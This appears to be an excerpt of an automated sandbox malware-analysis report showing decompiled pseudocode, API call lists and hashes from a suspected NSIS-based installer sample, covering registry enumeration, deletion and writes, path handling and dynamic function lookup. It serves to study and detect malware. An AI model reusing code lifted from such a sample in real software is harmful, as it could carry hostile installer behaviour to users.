							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402EA9(__eflags, _v8,  &_v536, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v536);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406A35(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyW(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueW(_v8, 0,  &_v536,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402eb4
0x00402ebd
0x00402ec6
0x00402ed2
0x00402edb
0x00402ee5
0x00402f0a
0x00402f10
0x00402f15
0x00402f16
0x00402f46
0x00402f1f
0x00402f21
0x00402f71
0x00402f74
0x00000000
0x00402f7a
0x00402f30
0x00402f35
0x00402f37
0x00000000
0x00000000
0x00402f3f
0x00402f44
0x00402f45
0x00402f45
0x00402f52
0x00402f5a
0x00402f61
0x00000000
0x00402f8a
0x00000000
0x00402f69
0x00402ef5
0x00402f08
0x00000000
0x00000000
0x00000000
0x00402f08
0x00402f90

APIs

RegEnumValueW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402EFD
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402F49
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F52
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402F69
RegCloseKey.ADVAPI32(?,?,?), ref: 00402F74

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 953796069c20d6fa7490a0bfa1861ca0c616837e62ffc418281f2642f3cef6d6
Instruction ID: 37c7ba0f9c491dd7f389852fcb35a119484072d927876f68e32cbd91f0a54eef
Opcode Fuzzy Hash: 953796069c20d6fa7490a0bfa1861ca0c616837e62ffc418281f2642f3cef6d6
Instruction Fuzzy Hash: 6D216B7150010ABBDF11AF94CE89EEF7B7DEB50384F110076F909B21E0D7B49E54AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D81 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D81(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				WCHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t60;
				long _t63;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x23) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x28));
				} else {
					E00402D84(2);
					 *((intOrPtr*)(__ebp - 0x10)) = __edx;
				}
				_t55 =  *(_t65 - 0x24);
				 *(_t65 + 8) = _t30;
				_t60 = _t55 & 0x00000004;
				 *(_t65 - 0x38) = _t55 & 0x00000003;
				 *(_t65 - 0x18) = _t55 >> 0x1f;
				 *(_t65 - 0x40) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x2c) & 0x0000ffff;
				} else {
					_t38 = E00402DA6(0x11);
				}
				 *(_t65 - 0x44) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x60);
				asm("sbb esi, esi");
				_t63 = LoadImageW( ~_t60 &  *0x42a260,  *(_t65 - 0x44),  *(_t65 - 0x38),  *(_t65 - 0x58) *  *(_t65 - 0x18),  *(_t65 - 0x54) *  *(_t65 - 0x40),  *(_t65 - 0x24) & 0x0000fef0);
				_t48 = SendMessageW( *(_t65 + 8), 0x172,  *(_t65 - 0x38), _t63);
				if(_t48 != _t53 &&  *(_t65 - 0x38) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x30)) >= _t53) {
					_push(_t63);
					E004065AF();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d81
0x00401d85
0x00401d9a
0x00401d87
0x00401d89
0x00401d8f
0x00401d8f
0x00401da0
0x00401da3
0x00401dad
0x00401db0
0x00401db8
0x00401dc9
0x00401dcc
0x00401dd7
0x00401dce
0x00401dd0
0x00401dd0
0x00401ddb
0x00401de5
0x00401e0c
0x00401e1b
0x00401e29
0x00401e31
0x00401e39
0x00401e39
0x00401e42
0x00401e48
0x00402ba4
0x00402ba4
0x00402c2d
0x00402c39

APIs

GetDlgItem.USER32(?,?), ref: 00401D9A
GetClientRect.USER32(?,?), ref: 00401DE5
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E15
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E29
DeleteObject.GDI32(00000000), ref: 00401E39

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction ID: 4d725fdcf847a80329c23b38d7164c003567f542edd6fcacfb34c9ebeef40da9
Opcode Fuzzy Hash: 100b3177012869429c2005611ce111630833f28d1ab152a2d5a2575cfc39775b
Instruction Fuzzy Hash: 67212672904119AFCB05CBA4DE45AEEBBB5EF08304F14003AF945F62A0CB389951DB98

Uniqueness

Uniqueness Score: -1.00%

Function 70F516BD Relevance: 7.5, APIs: 5, Instructions: 41
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E70F516BD(struct HINSTANCE__* _a4, short* _a8) {
				_Unknown_base(*)()* _t7;
				void* _t10;
				int _t14;

				_t14 = WideCharToMultiByte(0, 0, _a8, 0xffffffff, 0, 0, 0, 0);
				_t10 = GlobalAlloc(0x40, _t14);
				WideCharToMultiByte(0, 0, _a8, 0xffffffff, _t10, _t14, 0, 0);
				_t7 = GetProcAddress(_a4, _t10);
				GlobalFree(_t10);
				return _t7;
			}

0x70f516d7
0x70f516e3
0x70f516f0
0x70f516f7
0x70f51700
0x70f5170c

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,70F522D8,?,00000808), ref: 70F516D5
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,70F522D8,?,00000808), ref: 70F516DC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,70F522D8,?,00000808), ref: 70F516F0
GetProcAddress.KERNEL32(70F522D8,00000000), ref: 70F516F7
GlobalFree.KERNEL32(00000000), ref: 70F51700

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: bb12bfbb5fddfec3df24991ddbeb67843b0880f2e800afa96e94119b24bee087
Instruction ID: 9af77ca064620b9e72c7ed4b85e73b99d97d0968436cdf697013f53c4e099aa2
Opcode Fuzzy Hash: bb12bfbb5fddfec3df24991ddbeb67843b0880f2e800afa96e94119b24bee087
Instruction Fuzzy Hash: 01F0A2731061387BD62127A78C4CD9B7E9CDF8B2F9B310215F719911E085615D01DBF1

Uniqueness

Uniqueness Score: -1.00%

Function 0040248A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E0040248A(void* __eax, int __ebx, intOrPtr __edx, void* __eflags) {
				void* _t20;
				void* _t21;
				int _t24;
				char _t27;
				int _t30;
				void* _t32;
				intOrPtr _t33;
				void* _t34;
				intOrPtr _t37;
				void* _t39;
				void* _t42;

				_t42 = __eflags;
				_t33 = __edx;
				_t30 = __ebx;
				_t37 =  *((intOrPtr*)(_t39 - 0x20));
				_t34 = __eax;
				 *(_t39 - 0x10) =  *(_t39 - 0x1c);
				 *(_t39 - 0x44) = E00402DA6(2);
				_t20 = E00402DA6(0x11);
				 *(_t39 - 4) = 1;
				_t21 = E00402E36(_t42, _t34, _t20, 2);
				 *(_t39 + 8) = _t21;
				if(_t21 != __ebx) {
					_t24 = 0;
					if(_t37 == 1) {
						E00402DA6(0x23);
						_t24 = lstrlenW(0x40b5f8) + _t29 + 2;
					}
					if(_t37 == 4) {
						_t27 = E00402D84(3);
						_pop(_t32);
						 *0x40b5f8 = _t27;
						 *((intOrPtr*)(_t39 - 0x38)) = _t33;
						_t24 = _t37;
					}
					if(_t37 == 3) {
						_t24 = E00403371(_t32,  *((intOrPtr*)(_t39 - 0x24)), _t30, 0x40b5f8, 0x1800);
					}
					if(RegSetValueExW( *(_t39 + 8),  *(_t39 - 0x44), _t30,  *(_t39 - 0x10), 0x40b5f8, _t24) == 0) {
						 *(_t39 - 4) = _t30;
					}
					_push( *(_t39 + 8));
					RegCloseKey();
				}
				 *0x42a2e8 =  *0x42a2e8 +  *(_t39 - 4);
				return 0;
			}

0x0040248a
0x0040248a
0x0040248a
0x0040248a
0x0040248d
0x00402494
0x0040249e
0x004024a1
0x004024aa
0x004024b1
0x004024b8
0x004024bb
0x004024c1
0x004024cb
0x004024cf
0x004024da
0x004024da
0x004024e1
0x004024e5
0x004024ea
0x004024eb
0x004024f1
0x004024f4
0x004024f4
0x004024f8
0x00402504
0x00402504
0x0040251d
0x0040251f
0x0040251f
0x00402522
0x004025fd
0x004025fd
0x00402c2d
0x00402c39

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp,00000023,00000011,00000002), ref: 004024D5
RegSetValueExW.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp,00000000,00000011,00000002), ref: 00402515
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp,00000000,00000011,00000002), ref: 004025FD

Strings

C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp, xrefs: 004024C6, 004024D4, 004024EB, 004024FF, 0040250A

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsq8ECC.tmp
API String ID: 2655323295-1268558596
Opcode ID: 9c86e53f0ab96bac3dc9ba6bf3699c46313c21c8edda6fdc1e85d5f454bbf74d
Instruction ID: a516967871aadb8e7373f7254d3c24ec0cdbd982f2b4049ed7d94b0996b6da2b
Opcode Fuzzy Hash: 9c86e53f0ab96bac3dc9ba6bf3699c46313c21c8edda6fdc1e85d5f454bbf74d
Instruction Fuzzy Hash: 4011AF71E00108BEEF10AFA1CE49EAEB6B8EB44354F11443AF404B61C1DBB98D409658

Uniqueness

Uniqueness Score: -1.00%

Function 0040603F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47
stringCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040603F(void* __eflags, intOrPtr _a4) {
				int _t11;
				signed char* _t12;
				intOrPtr _t18;
				intOrPtr* _t21;
				signed int _t23;

				E00406668(0x425f50, _a4);
				_t21 = E00405FE2(0x425f50);
				if(_t21 != 0) {
					E004068EF(_t21);
					if(( *0x42a278 & 0x00000080) == 0) {
						L5:
						_t23 = _t21 - 0x425f50 >> 1;
						while(1) {
							_t11 = lstrlenW(0x425f50);
							_push(0x425f50);
							if(_t11 <= _t23) {
								break;
							}
							_t12 = E0040699E();
							if(_t12 == 0 || ( *_t12 & 0x00000010) != 0) {
								E00405F83(0x425f50);
								continue;
							} else {
								goto L1;
							}
						}
						E00405F37();
						return 0 | GetFileAttributesW(??) != 0xffffffff;
					}
					_t18 =  *_t21;
					if(_t18 == 0 || _t18 == 0x5c) {
						goto L1;
					} else {
						goto L5;
					}
				}
				L1:
				return 0;
			}

0x0040604b
0x00406056
0x0040605a
0x00406061
0x0040606d
0x0040607d
0x0040607f
0x00406097
0x00406098
0x0040609f
0x004060a0
0x00000000
0x00000000
0x00406083
0x0040608a
0x00406092
0x00000000
0x00000000
0x00000000
0x00000000
0x0040608a
0x004060a2
0x00000000
0x004060b6
0x0040606f
0x00406075
0x00000000
0x00000000
0x00000000
0x00000000
0x00406075
0x0040605c
0x00000000

APIs

Part of subcall function 00406668: lstrcpynW.KERNEL32(?,?,00000400,004037B0,00429260,NSIS Error), ref: 00406675

Part of subcall function 00405FE2: CharNextW.USER32(?,?,00425F50,?,00406056,00425F50,00425F50, 4|v.|v,?,767C2EE0,00405D94,?,767C3420,767C2EE0,00000000), ref: 00405FF0
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 00405FF5
Part of subcall function 00405FE2: CharNextW.USER32(00000000), ref: 0040600D

lstrlenW.KERNEL32(00425F50,00000000,00425F50,00425F50, 4|v.|v,?,767C2EE0,00405D94,?,767C3420,767C2EE0,00000000), ref: 00406098
GetFileAttributesW.KERNEL32(00425F50,00425F50,00425F50,00425F50,00425F50,00425F50,00000000,00425F50,00425F50, 4|v.|v,?,767C2EE0,00405D94,?,767C3420,767C2EE0), ref: 004060A8

Strings

P_B, xrefs: 00406045
4|v.|v, xrefs: 00406041

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4|v.|v$P_B
API String ID: 3248276644-2212668751
Opcode ID: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction ID: df110f430b83b9381375b5fd3fa67f6c4419d4890c6468873e0fced3c2676832
Opcode Fuzzy Hash: 900e3a3aedd828ccf636743a116f58552bc6887dcb5d3e9637a901da882d1290
Instruction Fuzzy Hash: 0DF07826144A1216E622B23A0C05BAF05098F82354B07063FFC93B22E1DF3C8973C43E

Uniqueness

Uniqueness Score: -1.00%

Function 00406536 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 44
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00406536(void* __ecx, void* __eflags, char _a4, int _a8, short* _a12, char* _a16, signed int _a20) {
				int _v8;
				long _t21;
				long _t24;
				char* _t30;

				asm("sbb eax, eax");
				_v8 = 0x800;
				_t5 =  &_a4; // 0x422728
				_t21 = E004064D5(__eflags,  *_t5, _a8,  ~_a20 & 0x00000100 | 0x00020019,  &_a20);
				_t30 = _a16;
				if(_t21 != 0) {
					L4:
					 *_t30 =  *_t30 & 0x00000000;
				} else {
					_t24 = RegQueryValueExW(_a20, _a12, 0,  &_a8, _t30,  &_v8);
					_t21 = RegCloseKey(_a20);
					_t30[0x7fe] = _t30[0x7fe] & 0x00000000;
					if(_t24 != 0 || _a8 != 1 && _a8 != 2) {
						goto L4;
					}
				}
				return _t21;
			}

0x00406544
0x00406546
0x0040655b
0x0040655e
0x00406563
0x00406568
0x004065a6
0x004065a6
0x0040656a
0x0040657c
0x00406587
0x0040658d
0x00406598
0x00000000
0x00000000
0x00406598
0x004065ac

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,?,?,0040A230,00000000,('B,00000000,?,?,Call,?,?,0040679D,80000002), ref: 0040657C
RegCloseKey.ADVAPI32(?,?,0040679D,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422728), ref: 00406587

Strings

Call, xrefs: 0040653D
('B, xrefs: 0040655B

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CloseQueryValue
String ID: ('B$Call
API String ID: 3356406503-2122505255
Opcode ID: abb8e2472c70d4d58aecb7d0dfcf889930bd109b5a1b9baac0574de2233c5019
Instruction ID: 52dd0fe420a7c1e2827d1a164217834099ee72e945ce70567094b216899e5676
Opcode Fuzzy Hash: abb8e2472c70d4d58aecb7d0dfcf889930bd109b5a1b9baac0574de2233c5019
Instruction Fuzzy Hash: C4017C72500209FADF21CF51DD09EDB3BA8EF54364F01803AFD1AA2190D738D964DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F37 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E00405F37(WCHAR* _a4) {
				WCHAR* _t9;

				_t9 = _a4;
				_push( &(_t9[lstrlenW(_t9)]));
				_push(_t9);
				if( *(CharPrevW()) != 0x5c) {
					lstrcatW(_t9, 0x40a014);
				}
				return _t9;
			}

0x00405f38
0x00405f45
0x00405f46
0x00405f51
0x00405f59
0x00405f59
0x00405f61

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F3D
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040362D,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403923), ref: 00405F47
lstrcatW.KERNEL32(?,0040A014), ref: 00405F59

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F37

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction ID: 9007417a49851ea4d61da9c71e51c63d156abd36d345156a737e00ee84923012
Opcode Fuzzy Hash: 7317fb0b60a0da6156192e69c80d181f5022b3d5f83b8f009beaa75eacd33bdb
Instruction Fuzzy Hash: 59D05E611019246AC111AB548D04DDB63ACAE85304742046AF601B60A0CB7E196287ED

Uniqueness

Uniqueness Score: -1.00%

Function 70F510E1 Relevance: 6.4, APIs: 5, Instructions: 145
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E70F510E1(signed int _a8, intOrPtr* _a12, void* _a16, void* _a20) {
				void* _v0;
				void* _t27;
				signed int _t29;
				void* _t30;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t48;
				void* _t54;
				void* _t63;
				void* _t64;
				signed int _t66;
				void* _t67;
				void* _t73;
				void* _t74;
				void* _t77;
				void* _t80;
				void _t81;
				void _t82;
				intOrPtr _t84;
				void* _t86;
				void* _t88;

				 *0x70f5506c = _a8;
				 *0x70f55070 = _a16;
				 *0x70f55074 = _a12;
				_a12( *0x70f55048, E70F51651, _t73);
				_t66 =  *0x70f5506c +  *0x70f5506c * 4 << 3;
				_t27 = E70F512E3();
				_v0 = _t27;
				_t74 = _t27;
				if( *_t27 == 0) {
					L28:
					return GlobalFree(_t27);
				}
				do {
					_t29 =  *_t74 & 0x0000ffff;
					_t67 = 2;
					_t74 = _t74 + _t67;
					_t88 = _t29 - 0x66;
					if(_t88 > 0) {
						_t30 = _t29 - 0x6c;
						if(_t30 == 0) {
							L23:
							_t31 =  *0x70f55040;
							if( *0x70f55040 == 0) {
								goto L26;
							}
							E70F51603( *0x70f55074, _t31 + 4, _t66);
							_t34 =  *0x70f55040;
							_t86 = _t86 + 0xc;
							 *0x70f55040 =  *_t34;
							L25:
							GlobalFree(_t34);
							goto L26;
						}
						_t36 = _t30 - 4;
						if(_t36 == 0) {
							L13:
							_t38 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E70F51312(E70F5135A(_t38));
							L14:
							goto L25;
						}
						_t40 = _t36 - _t67;
						if(_t40 == 0) {
							L11:
							_t80 = ( *_t74 & 0x0000ffff) - 0x30;
							_t74 = _t74 + _t67;
							_t34 = E70F51381(_t80, E70F512E3());
							goto L14;
						}
						L8:
						if(_t40 == 1) {
							_t81 = GlobalAlloc(0x40, _t66 + 4);
							_t10 = _t81 + 4; // 0x4
							E70F51603(_t10,  *0x70f55074, _t66);
							_t86 = _t86 + 0xc;
							 *_t81 =  *0x70f55040;
							 *0x70f55040 = _t81;
						}
						goto L26;
					}
					if(_t88 == 0) {
						_t48 =  *0x70f55070;
						_t77 =  *_t48;
						 *_t48 =  *_t77;
						_t49 = _v0;
						_t84 =  *((intOrPtr*)(_v0 + 0xc));
						if( *((short*)(_t77 + 4)) == 0x2691) {
							E70F51603(_t49, _t77 + 8, 0x38);
							_t86 = _t86 + 0xc;
						}
						 *((intOrPtr*)( *_a12 + 0xc)) = _t84;
						GlobalFree(_t77);
						goto L26;
					}
					_t54 = _t29 - 0x46;
					if(_t54 == 0) {
						_t82 = GlobalAlloc(0x40,  *0x70f5506c +  *0x70f5506c + 8);
						 *((intOrPtr*)(_t82 + 4)) = 0x2691;
						_t14 = _t82 + 8; // 0x8
						E70F51603(_t14, _v0, 0x38);
						_t86 = _t86 + 0xc;
						 *_t82 =  *( *0x70f55070);
						 *( *0x70f55070) = _t82;
						goto L26;
					}
					_t63 = _t54 - 6;
					if(_t63 == 0) {
						goto L23;
					}
					_t64 = _t63 - 4;
					if(_t64 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L13;
					}
					_t40 = _t64 - _t67;
					if(_t40 == 0) {
						 *_t74 =  *_t74 + 0xa;
						goto L11;
					}
					goto L8;
					L26:
				} while ( *_t74 != 0);
				_t27 = _v0;
				goto L28;
			}

0x70f510eb
0x70f51100
0x70f51109
0x70f5110e
0x70f51119
0x70f5111c
0x70f51125
0x70f51129
0x70f5112b
0x70f512b0
0x70f512ba
0x70f512ba
0x70f51132
0x70f51132
0x70f51137
0x70f51138
0x70f5113a
0x70f5113d
0x70f51256
0x70f51259
0x70f51271
0x70f51271
0x70f51278
0x00000000
0x00000000
0x70f51285
0x70f5128a
0x70f5128f
0x70f51294
0x70f5129a
0x70f5129b
0x00000000
0x70f5129b
0x70f5125b
0x70f5125e
0x70f511bc
0x70f511bf
0x70f511c2
0x70f511cb
0x70f511d0
0x00000000
0x70f511d1
0x70f51264
0x70f51266
0x70f511a2
0x70f511a5
0x70f511a8
0x70f511b1
0x00000000
0x70f511b1
0x70f51164
0x70f51165
0x70f51177
0x70f51180
0x70f51184
0x70f5118e
0x70f51191
0x70f51193
0x70f51193
0x00000000
0x70f51165
0x70f51143
0x70f51218
0x70f5121d
0x70f51221
0x70f51223
0x70f5122c
0x70f5122f
0x70f51238
0x70f5123d
0x70f5123d
0x70f51247
0x70f5124a
0x00000000
0x70f51250
0x70f51149
0x70f5114c
0x70f511e9
0x70f511ed
0x70f511f7
0x70f511fb
0x70f51205
0x70f5120a
0x70f51211
0x00000000
0x70f51211
0x70f51152
0x70f51155
0x00000000
0x00000000
0x70f5115b
0x70f5115e
0x70f511b8
0x00000000
0x70f511b8
0x70f51160
0x70f51162
0x70f5119e
0x00000000
0x70f5119e
0x00000000
0x70f512a1
0x70f512a1
0x70f512ab
0x00000000

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 70F51171
GlobalAlloc.KERNEL32(00000040,?), ref: 70F511E3
GlobalFree.KERNEL32 ref: 70F5124A
GlobalFree.KERNEL32(?), ref: 70F5129B
GlobalFree.KERNEL32(00000000), ref: 70F512B1

Memory Dump Source

Source File: 00000000.00000002.3306913680.0000000070F51000.00000020.00000001.01000000.00000004.sdmp, Offset: 70F50000, based on PE: true

Associated: 00000000.00000002.3306845588.0000000070F50000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3306989815.0000000070F54000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3307057428.0000000070F56000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70f50000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 3e5d3f48316a93f9b5587242cd90de563125958db647e55b6991d7f0f708de20
Instruction ID: 80f8fccdbda362cdaa26bfe6385b06385a85500858f0128a57cf508a6d605716
Opcode Fuzzy Hash: 3e5d3f48316a93f9b5587242cd90de563125958db647e55b6991d7f0f708de20
Instruction Fuzzy Hash: AE517CB6900A06DFD700DF6AC855A2E7BF8FB09725F204159FA46DB7A0E774B908CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65
stringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040263E(void* __ebx, void* __edx, intOrPtr* __edi) {
				signed int _t14;
				int _t17;
				void* _t24;
				intOrPtr* _t29;
				void* _t31;
				signed int _t32;
				void* _t35;
				void* _t40;
